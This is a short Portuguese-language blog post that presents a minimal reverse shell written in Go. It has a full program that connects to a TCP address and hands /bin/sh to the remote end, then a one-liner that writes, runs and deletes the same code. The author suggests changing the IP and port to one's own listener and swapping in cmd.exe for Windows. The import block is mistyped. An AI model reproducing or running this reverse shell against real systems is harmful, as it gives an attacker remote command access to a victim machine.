golang: reverse shell
Um reverse shell em Golang super simples:
package main
import (
"net"
"os/exec"
}
func main() {
c, _ := net.Dial("tcp","127.0.0.1:8222")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
Claro, troque o IP e a porta para seu dispatcher.
Voce ainda pode minimizar e ter o reverse shell em “uma linha”.
echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go
Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.
Articles from blogs I follow around the net
Need dwm class? xprop
Need some info for dwm? Maybe for the rule section? Use xprop and find WM_CLASS
via Lucas E M M. opinions 2025-04-13 21:32rpki-client 9.5 released
The OpenBSD project has announced the release of version 9.5 of rpki-client: rpki-client 9.5 has just been released and will be available in the rpki-client directory of any OpenBSD mirror soon. It is recommended that all users upgrade to this version for improved…
via OpenBSD Journal 2025-04-12 12:34A Firefox addon for putting prices into perspective
I had a fun idea for a small project this weekend, and so I quickly put it together over the couple of days. The result is Price Perspective. Humor me: have you ever bought something, considered the price, and wondered how that price would look to someone el…
via Drew DeVault's blog 2025-04-04 00:00Generated by openring
/comments ~umgeher/changelog@lists.sr.ht?Subject=Re: golang: reverse shell
/permalink https://umgeher.org/posts/2022/03/golang-reverse-shell.html